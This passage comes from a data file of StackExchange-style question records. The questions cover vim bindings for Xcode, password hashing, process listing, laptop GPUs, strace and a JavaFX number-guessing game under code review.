thread. Note that that other thread will still be getting around 30 fps instead of 60 fps, but the game itself will be running at a better framerate. In other words, the background image will be updating at closer to 30 fps, while everything else will be faster." } { "id": "_softwareengineering.74848" , "question": "I'm a developer who mostly does web stuff in ruby and C#.I'd like to start tinkering with iOS and Mac development.Over the last few month i've been trying to get fluent in one set of key bindings (vi / vim because it just feels right).I have the awesome ViEmu installed for visual studio on windows which gives me a ton of the vim awesomeness side by side with visual studio power toys.Is there anything like this for xcode?I know I could set up MacVim as the default editor, but I'm not too interested in this as it means losing all of xcode's cocoa awareness.The other option of course would be to go for the lowest common denominator and switch to emacs (as the mac keybindings are based massively on emacs) but let's not think about that for too long. :P" , "title": "Vim key mappings / plugin XCode?" , "tags": "xcode;mac;vim" } { "id": "_cs.68422" , "question": "Forgive me for my brief knowledge on hash functions as I am not from a computer science background, however I am researching password security for my thesis and have been looking into hashing functions for password security. I understand that a password goes through a hashing function and is stored in a separate database, at which point if the user enters the same password at a later date, that entry is then ran through the same hashing function and checked the output is the same. My question is, if lots of companies are being breached and passwords have been found out using the algorithms, would it be more secure to then use a second hashing function on the already hashed password and store all the password entries 'double hashed'?" , "title": "Using two hash functions for increased password security?" , "tags": "security;hashing" , "accepted_answer": "Current best practice goes like this: Step 1, the password is combined with a random sequence of characters (the salt), which means that even if two users use the same password, the combination salt + password will be unique for each user, and cracking one combination salt + password does not help at all cracking anyone else's password. Step 2, the combination salt + password is hashed using a cryptographic hashing function, but not once, not twice, but a gazillion times so that calculating the hashed password takes a significant amount of time. Step 3, the salt is stored, but the hashed password is not actually stored, but used to encrypt a master password for that user which is required to decrypt that user's information. The hashed password is not stored, so someone who manages to steal the complete information on the server still cannot access any user's data. To steal one user's data, an attacker has to guess passwords. Turning each password into a hashcode takes significant amounts of time, so cracking just one good (hard to guess) password should be very hard to crack. And that's just one password. " } { "id": "_unix.242197" , "question": "Is there a portable way to do this?On Linux, I can use ps a -Nbut this option isn't available on other (POSIX) systems.Of course I can use grep '^?' with, say, -o tty,... but is there something more reliable?" , "title": "List all processes without controlling terminal (only)?" , "tags": "ps;controlling terminal" } { "id": "_hardwarecs.1935" , "question": "I'm reaching the limits of my old Notebook, since it only has a GeForce 630M and I want to use it for a bit of gaming, too. It's kinda sad, because the i7-2670QM still does the job quite well...I'm thinking about buying a new one, but I'd like to have a nice graphics card that does it's job without beeing too expensive. So what is the graphics card (I prefer Nvidia, but if AMD has something way better I would also consider using it) with the best Price-performance ratio?Requirements:Laptop GPU available in normal sized Notebooks (I don't want a monster, it should still be portable)at least 1 HDMI outputat least 2 outputs in sum, preferable VGA able to be used for games on the market right now (not high settings, just playable - my current 630M doesn't even manage 5 FPS for Rise of the Tomb Raider on lowest settings)I don't want to spend mroe than 1k for the full system (or rather I can't afford T.T), and since I also want an i7 and a good amount of RAM, the GPU itself mustn't be too expensive If you have suggestions for a full system, this would be nice, too, but the question aims to give me a overview of Graphic Cards which would meet my requirements. Afterwards I'll search for a new Notebook with one of these built in.I just had a quick look into the comparison site suggested by Adrian, an found the GeForce GTX 775M - this would be, from the performance aspect, top notch. I don'T even know how the price range is, and if this is available in non-gaming-notebooks (meaning normal sized cases), but anyway - this performance would be awesome. For the lower bound I'd name the GeForce GTX 580M - it shouldn't be much less performance than this, else I don't think buying a new notebook is really worth it." , "title": "Laptop GPU by Price-performance" , "tags": "laptop;gaming;graphics cards" } { "id": "_unix.33435" , "question": "I cannot remember this command (and googling was unsuccessful), but there is a way to get the list of actions performed by a process, that outputs something like # listprocessactions -p 1234 0.321 Open A /var/log/nginx/supersite.log 0.322 Write to /var/log/nginx/supersite.log 0.401 Close /var/log/nginx/supersite.log 0.555 Opens TCP connection with slashdot.org ...I'm interested in the files aspect (open / RW files).The question is what is that command (and if possible in which package on deb / ubuntu)" , "title": "Command to list in real time all the actions of a process" , "tags": "process;files;real time" , "accepted_answer": "You want strace(1) for that; it lists all the system calls made. See the manual page for details on various ways to present the trace data.You might also find ltrace(1) useful if you want inter-library calls rather than system calls traced." } { "id": "_codereview.79014" , "question": "This question is a follow-up to:High-Low Guessing GameNow with shiny new graphics in JavaFX.You now have the awesome ability to choose which numbers to guess between.Now with Git Repository!Main.javapackage sample;import javafx.application.Application;import javafx.fxml.FXMLLoader;import javafx.scene.Parent;import javafx.scene.Scene;import javafx.stage.Stage;public class Main extends Application { @Override public void start(Stage stage) throws Exception { Parent root = FXMLLoader.load(getClass().getResource(highlow_view.fxml)); Scene scene = new Scene(root); stage.setScene(scene); stage.show(); } public static void main(String[] args) { launch(args); }}Controller.javapackage sample;import javafx.event.ActionEvent;import javafx.fxml.FXML;import javafx.scene.control.Label;import javafx.scene.control.TextField;import javafx.scene.input.KeyCode;import javafx.scene.input.KeyEvent;import java.util.Random;public class Controller { @FXML private Label guessLabel; @FXML private Label numberGuessLabel; @FXML private TextField txtAddItem; @FXML private TextField fromAddItem; @FXML private TextField toAddItem; @FXML private Label systemOut; private static Random rand = new Random(); private boolean isInt; public int randomNumberFrom = 1; public int randomNumberTo = 10; private int numberGuess = 0; private int theRandomNumber = randomInt(randomNumberFrom, randomNumberTo); public int getTheRandomNumber() { return theRandomNumber; } public static int randomInt(int from, int to) { return rand.nextInt(to - from + 1) + from; } public void countGuess(int numberIn) { numberGuess++; numberGuessLabel.setText(Guess counter: + numberGuess); if (numberIn < theRandomNumber) { systemOut.setText(Too low); } else if (numberIn > theRandomNumber) { systemOut.setText(Too high); } else { systemOut.setText(Congratz you were right!); } } public int textInt(TextField textField) { if(!textField.getText().matches(^\\\\d+$)) { systemOut.setText(Pleas enter a number); isInt = false; return 0; }else{ isInt = true; return Integer.parseInt(textField.getText()); } } public void guessing(int numberIn){ if (isInt == true) { if (numberIn < randomNumberFrom || numberIn > randomNumberTo) { systemOut.setText(Pleas enter number: + randomNumberFrom + - + randomNumberTo); } else { countGuess(numberIn); } } } @FXML public void getNewNumber(ActionEvent action){ int fromInt = textInt(fromAddItem); if (isInt == true) { int toInt = textInt(toAddItem); if (isInt == true && fromInt < toInt) { numberGuess = 0; numberGuessLabel.setText(Guess counter: + numberGuess); theRandomNumber = randomInt(fromInt, toInt); randomNumberFrom = fromInt; randomNumberTo = toInt; guessLabel.setText(Guess a number: + fromInt + - + toInt); } else{ systemOut.setText(The second number must be bigger then the first); } } } @FXML private void handleEnterPressed(KeyEvent event) { if (event.getCode() == KeyCode.ENTER) { guessing(textInt(txtAddItem)); } } @FXML private void guessButton(ActionEvent action){ guessing(textInt(txtAddItem)); }}highlow_view.fxml